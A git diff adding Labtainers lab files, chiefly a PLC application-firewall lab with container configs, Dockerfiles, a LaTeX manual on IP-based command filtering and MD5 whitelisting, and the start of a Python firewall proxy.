+ log_on_failure += USERID + disable = no +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_system/sbin/faux_init new file mode 100755 index 000000000..6c90b2c9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/_system/sbin/faux_init @@ -0,0 +1,21 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +service xinetd restart + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/telnet.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/telnet.pcap new file mode 100644 index 000000000..86b7055af Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pcapanalysis/pcapanalysis/telnet.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/config/about.txt new file mode 100644 index 000000000..a36c2ad35 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/config/about.txt @@ -0,0 +1 @@ +Configure an application firewall and program whitelist to protect a PLC. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/config/start.config new file mode 100644 index 000000000..c55ce6f82 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/config/start.config @@ -0,0 +1,66 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER sys_management + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED plc_mike_master_seed + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK management_lan + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 +NETWORK plc_lan + MASK 172.26.0.0/24 + GATEWAY 172.26.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# + + +CONTAINER sys_management + # user name of user who interacts with the container. + USER admin + TERMINALS 1 + management_lan 172.25.0.2 + TERMINAL_GROUP local + +CONTAINER firewall + # user name of user who interacts with the container. + USER admin + TERMINALS 1 + XTERM FIREWALL_LOG firewall_log.sh + plc_lan 172.26.0.2 + management_lan 172.25.0.3 + TERMINAL_GROUP local + +CONTAINER plc + # user name of user who interacts with the container. + USER admin + # + # The number of terminals defaults to 2 + # + TERMINALS 0 + XTERM Physical_World plc.sh + plc_lan 172.26.0.3 + +CONTAINER monitor + USER admin + management_lan 172.25.0.5 + TERMINAL_GROUP local diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/dockerfiles/Dockerfile.plc-app.firewall.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/dockerfiles/Dockerfile.plc-app.firewall.student new file mode 100644 index 000000000..6c3303ce1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/dockerfiles/Dockerfile.plc-app.firewall.student @@ -0,0 +1,25 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/dockerfiles/Dockerfile.plc-app.monitor.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/dockerfiles/Dockerfile.plc-app.monitor.student new file mode 100644 index 000000000..758cc4d82 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/dockerfiles/Dockerfile.plc-app.monitor.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/dockerfiles/Dockerfile.plc-app.plc.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/dockerfiles/Dockerfile.plc-app.plc.student new file mode 100644 index 000000000..6c3303ce1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/dockerfiles/Dockerfile.plc-app.plc.student @@ -0,0 +1,25 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/dockerfiles/Dockerfile.plc-app.sys_management.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/dockerfiles/Dockerfile.plc-app.sys_management.student new file mode 100644 index 000000000..3bd441a09 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/dockerfiles/Dockerfile.plc-app.sys_management.student @@ -0,0 +1,31 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG user_name + +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends \ + openssl + +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/Makefile new file mode 100644 index 000000000..e6a1ab607 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/Makefile @@ -0,0 +1,8 @@ +plc-app.pdf: plc-app.tex header.tex plc-app.jpg + latex plc-app + pdflatex -jobname=plc-app plc-app + pdflatex -jobname=plc-app plc-app + +clean: + rm -fr auto + rm -f plc-app.aux plc-app.log plc-app.pdf plc-app.dvi plc-app.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/Makefile.not.used b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/Makefile.not.used new file mode 100644 index 000000000..995cbb51a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/Makefile.not.used @@ -0,0 +1,9 @@ + +plc.pdf: plc.tex + latex plc + pdflatex plc + pdflatex plc + +clean: + rm -fr auto + rm -f plc.aux plc.log plc.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/header.tex new file mode 100644 index 000000000..d81b557e1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/header.tex @@ -0,0 +1,122 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/plc-app.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/plc-app.jpg new file mode 100644 index 000000000..d7dfad34e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/plc-app.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/plc-app.odg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/plc-app.odg new file mode 100644 index 000000000..d04317fcb Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/plc-app.odg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/plc-app.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/plc-app.tex new file mode 100644 index 000000000..3e6e3582c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/plc-app.tex @@ -0,0 +1,236 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE PLC Application Firewall and Software Whitelists} +\vspace{0.1in}\\ +\end{center} + + +\section{Overview} +This lab explores security issues related to the use of Programmable Logic Controllers (PLCs) +in the management of Industrial Control Systems (ICS), or similar forms of infrastructure. +You should read this ``Overview'' and the following ``Background'' section before starting the lab. + +\subsection{Learning objectives} +PLCs typically receive commands from networks containing multiple computers. Not all of +these networked computers are necessarily authorized to issue all commands to the PLC. +For example, some computers may be authorized to issue commands that monitor the PLC without +affecting its behavior, while other computers are designated as being able to reset or reconfigure +the PLC. One way to enforce this type of application policy is to use a firewall that serves as +a proxy between the network computers and the PLC. These firewalls are designed to decode the commands +destined for the PLC, and only permit those that meet the policy for which computer can issue which commands. + +Limiting the computers that can alter a PLC's configuration does not ensure that the PLC will be loaded +with a valid configuration. Malicious software on an authorized computer could load the PLC with programs +or data intended to damage the infrastructure. One way to limit the ability of malicious software (or +individuals) to reconfigure the PLC is to enumerate a set of validated program and configuration files. +A "whitelist" of cryptographic checksums (or digests) for each valid file can then be loaded into a +proxy that sits between the computers and the PLC. The proxy, (or firewall), would then only permit those +files having validated digests, i.e., those whose digests appear in the whitelist. + +\subsection{Simulated infrastructure control system} +This \textit{plc-app} lab simulates the system illustrated in Figure 1. A PLC manages the water level of a creek-fed +catfish pond, ensuring the water level stays within minimum and maximum limits. +You will interact with the sys\_management system to load a program and configuration data into the +PLC. You will also use the sys\_management computer to check the status of the PLC and to query which program +and configuration data the PLC is running. + +The monitor system is used to query the status of the PLC (which can also be performed at the +sys\_management system). The monitor also contains the ``historian'' subsystem which keeps a running +log of the PLC status. The monitor system must be able to continually monitor the PLC, or +the farmer will fail the insurance company audit of his crop damage policy. + +You will not have direct access to the PLC subsystem, +though you can interact with it via the sys\_management and monitor computers. + +A "Firewall" sits between the sys\_management and montior computers and the PLC. +This device can be configured to: + +\begin{enumerate} +\item Filter commands destined for the PLC, constraining the commands that may be issued from a given IP address. +\item Prevent unauthorized programs or data from being loaded into the PLC. The firewall uses a whitelist of +authorized MD5 digests to validate files destined for the PLC. +\end{enumerate} +The firewall is initially in its default configuration, which imposes not limits on network traffic destined +for the PLC. + +\subsection {Background} +The student is expected +to have performed the Labtainer "onewayhash" lab, or otherwise learned about +the use of openssl to generate digests. + +The student is expected to have some familiarity with the Linux command line, +the basics of the file system. + +\section{Lab Environment} +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer plc-app +\end{verbatim} +\noindent A link to this lab manual will be displayed. +The resulting virtual terminals will include: +\begin{itemize} +\item A display of the status of the fish pond level, titled "Physical\_World". +\item A bash shell on the sys\_management computer. +\item A bash shell on the monitor computer. +\item A bash shell on the Firewall, titled "admin@firewall". +\item A display of the Firewall log file titled "FIREWALL\_LOG". +\end{itemize} +\noindent NOTE: When the lab starts, observe the Physical\_World window. +The PLC is initially disabled, and thus the pump does not run and the water rises. +Throughout the lab, you will not be penalized for initial floods or other disasters. +You will, however, eventually need to configure the systems to avoid those. + +\begin{figure}[htb] +\begin{center} +\includegraphics [width=0.8\textwidth,natwidth=621,natheight=403]{plc-app.jpg} +\end{center} +\caption{Network topology for the plc-app lab} +\label{fig:topology} +\end{figure} + +\section{Lab Tasks} +\subsection{Explore} +The Physical World display is notional, it is not generated by any of the components of figure 1. It +helps you understand what is happening in the physical world, independent of the subsystems. +Use: +\begin{verbatim} + manage_plc status +\end{verbatim} +from the sys\_management and monitor systems to observe the state of the PLC. Observe the log +messages on the Firewall log. Notice how there is periodic traffic? That is from a service on +the monitor computer. If you wait long enough, you will notice that the farmer's field floods. + +\subsection{Load the PLC for the rainy season} +The sys\_management computer is used by the farmer to load software into the PLC. The +\begin{verbatim} + manage_plc load +\end{verbatim} +\noindent command is used to load the PLC with a given program and configuration data. +It is now the rainy season, so you should specify the {\tt config\_wet.txt} configuration. +Initialize the PLC from the sys\_management window using: +\begin{verbatim} + manage_plc load plc config_wet.txt +\end{verbatim} +The "plc" parameter is the name of the plc program file in your home directory. This operation +will initialize the PLC, causing to the pump to run. +The rainy season configuration file directs the PLC to keep the pond level between 15 and 25 feet, +allowing the pond to absorb bursts of flow from the creek without flooding the fields. + +Use the {\tt manage\_plc status} command to observe that the PLC is now operating, and controlling the pump. + +\subsection{Constrain PLC commands based on IP address} +Go to the ``monitor'' system and use the {\tt manage\_plc status} command to view the status. +This monitor computer is in the farm yard and is used to keep an eye on the PLC. However, a trained chicken +is known to peck the keyboard. If you type or peck the {\tt manage\_plc reset} command from the monitor computer, +you will notice that {\tt manage\_plc status} indicates the PLC operation has stopped. + +For this task, you need to configure the firewall (on the firewall computer) to allow the sys\_management computer +to issue all PLC commands, but only allow the monitor computer to issue the ``status'' and ``retrieve'' commands. +Use {\tt firewall -h} on the firewall computer to learn about configuring the firewall filters to limit PLC commands from different +IP addresses. Use {\tt ifconfig} on the sys\_management and monitor computers to learn their addresses. Note +that before you modify filters, you will need to stop the firewall using: +\begin{verbatim} + sudo systemctl stop firewall +\end{verbatim} +and then, after configuring the filters, restart the firewall using: +\begin{verbatim} + sudo systemctl start firewall +\end{verbatim} + +After you have configured the firewall and restarted it, do the following: +\begin{itemize} +\item Reload the PLC from the sys\_management computer: +\begin{verbatim} + manage_plc load plc config_wet.txt +\end{verbatim} + +\item Check the status from the sys\_management computer: +\begin{verbatim} + manage_plc status +\end{verbatim} + +\item Attempt to reset the PLC from the monitor computer: +\begin{verbatim} + manage_plc reset +\end{verbatim} + +\item Confirm the PLC is still running, i.e., the reset command was blocked: +\begin{verbatim} + manage_plc status +\end{verbatim} +\end{itemize} + +Each of the above operations must yield the desired result. If not, return to the firewall and correct its configuration. +Then repeat each and every one of the above steps to demonstrate proper application filter settings. + +\subsection{Configure the PLC for the dry season} +Now that it is the dry season, Farmer Jones wants the pond to hold more water. +From the sys\_management terminal, use: +\begin{verbatim} + manage_plc load plc config_dry.txt +\end{verbatim} +\noindent to configure the PLC for the dry season. +Then just watch what happens over the course of about a minute. +After you've watched the Physical world status window and observed a disaster, poke around a bit. + +On the monitor system, view the {\tt historian.log} file in the home directory. Do you see any +suspicious parameter settings? + +From the sys\_management terminal, use: +\begin{verbatim} + manage_plc reset + manage_plc load plc config_dry.txt +\end{verbatim} +\noindent to reset and reload the PLC. Watch the firewall log, do you notice any suspicious traffic? +And again review the historian.log. +Then use the {\tt manage\_plc retrieve} command to retrieve the program and configuration file +that put the PLC into this state. Are they the files you loaded? Note, now is a good time +to consider revisiting the use of the {\tt openssl dgst -md5} command. + +\subsection{Living with malware} +It turns out the farmer had installed a bootleg copy of pharmvilla on his laptop computer, and +that introduced malware onto the sys\_mangement computer. That malware loads corrupt PLC programs and configuration +data. In this lab, we assume you are unable to remove the malware or prevent it from running. (If you +view that statement as a challenge, please complete the lab as intended before chasing the malware.) +Your task is to configure the firewall so that it only permits files having validated MD5 digests to be +loaded onto the firewall. + +On the firewall computer, use the {\tt firewall -h} command to learn how to use a whitelist of MD5 +digests. + +Before defining a whitelist on the firewall, you must first stop it: +\begin{verbatim} + sudo systemctl stop firewall +\end{verbatim} +and then, after configuring the whitelist, restart the firewall using: +\begin{verbatim} + sudo systemctl start firewall +\end{verbatim} +\noindent Then use +\begin{verbatim} + manage_plc reset + manage_plc load plc config_dry.txt +\end{verbatim} +\noindent to restore the PLC to its desired configuration and patiently wait until the physical word +informs you that you have completed the lab -- or until you notice something not work. If something +goes wrong, review your MD5 checksums and logs and try again. + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\copyrightnotice + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/plc.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/plc.docx new file mode 100755 index 000000000..5318760eb Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/plc.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/read_first.txt new file mode 100644 index 000000000..772fab332 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/docs/read_first.txt @@ -0,0 +1,9 @@ +PLC LAB -- Read this first + +The lab manual for this lab is at: +file://LAB_MANUAL + +It can be opened by right clicking on the link and +selecting "Open link". Read the "Background" section +of the manual before proceeding with the lab. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/README b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/README new file mode 100644 index 000000000..dbb5690ee --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/README @@ -0,0 +1,10 @@ +The firewall is started with: + sudo systemctl start firewall +and stopped with: + sudo systemctl stop firewall +and restarted with: + sudo systemctl restart firewall + +Its log is in firewall.log + +Use firewall -h to view options for configuring the firewall. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_bin/firewall_log.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_bin/firewall_log.sh new file mode 100644 index 000000000..c081b7519 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_bin/firewall_log.sh @@ -0,0 +1 @@ +tail -f firewall.log diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_bin/fixlocal.sh new file mode 100755 index 000000000..b4a2ee0c6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_bin/fixlocal.sh @@ -0,0 +1,13 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# +sudo chown admin:admin /etc/firewall.config +sudo chown admin:admin /etc/firewall_whitelist.txt +sudo chown admin:admin /etc/firewall_filter.txt +sudo systemctl enable firewall +# unblock the waitparam.service, which is a predicate for firewall +PERMLOCKDIR=/var/labtainer/did_param +sudo mkdir -p "$PERMLOCKDIR" +sudo systemctl start firewall diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_bin/ignorelocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_bin/ignorelocal new file mode 100644 index 000000000..1ce8c731f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_bin/ignorelocal @@ -0,0 +1 @@ +proxy.py diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_system/etc/firewall.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_system/etc/firewall.config new file mode 100644 index 000000000..b7ea94dfa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_system/etc/firewall.config @@ -0,0 +1,5 @@ +[DEFAULT] +enable = no +[NETWORK] +local = 172.25.0.3 +remote = 172.26.0.3 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_system/etc/firewall_filter.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_system/etc/firewall_filter.txt new file mode 100644 index 000000000..e69de29bb diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_system/etc/firewall_whitelist.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_system/etc/firewall_whitelist.txt new file mode 100644 index 000000000..e69de29bb diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_system/lib/systemd/system/firewall.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_system/lib/systemd/system/firewall.service new file mode 100644 index 000000000..79e8f4816 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_system/lib/systemd/system/firewall.service @@ -0,0 +1,15 @@ +[Unit] +Description=PLC Firewall Service +After=waitparam.service + +[Service] +Type=simple +ExecStart=/usr/bin/firewall +StandardOutput=null +WorkingDirectory=/home/admin +User=admin + +[Install] +WantedBy=multi-user.target +Alias=firewall.service + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_system/sbin/faux_init new file mode 100755 index 000000000..374634012 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + +/etc/init.d/proxy.sh start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_system/usr/bin/firewall b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_system/usr/bin/firewall new file mode 100755 index 000000000..094cc9fce --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/firewall/_system/usr/bin/firewall @@ -0,0 +1,296 @@ +#!/usr/bin/env python +import socket +import sys +import time +import signal +import threading +import hashlib +import logging +import argparse +import os +import ConfigParser +import subprocess +import json + +valid_commands = ['status', 'retrieve', 'load', 'reset'] +def signal_handler(signal, frame): + global connection + global response_thread + logging.debug('got signal, close connection') + if connection is not None: + connection.close() + logging.debug('signal handler, exit') + exit(0) + + +def getData(connection, who): + ''' + Read data from the connection based on its initial 4 character size field. + The who field is simply for debugging. + ''' + rbytes = '' + try: + #logging.debug('%s getData get size' % who) + size_str = connection.recv(4) + if size_str is None or len(size_str) == 0: + 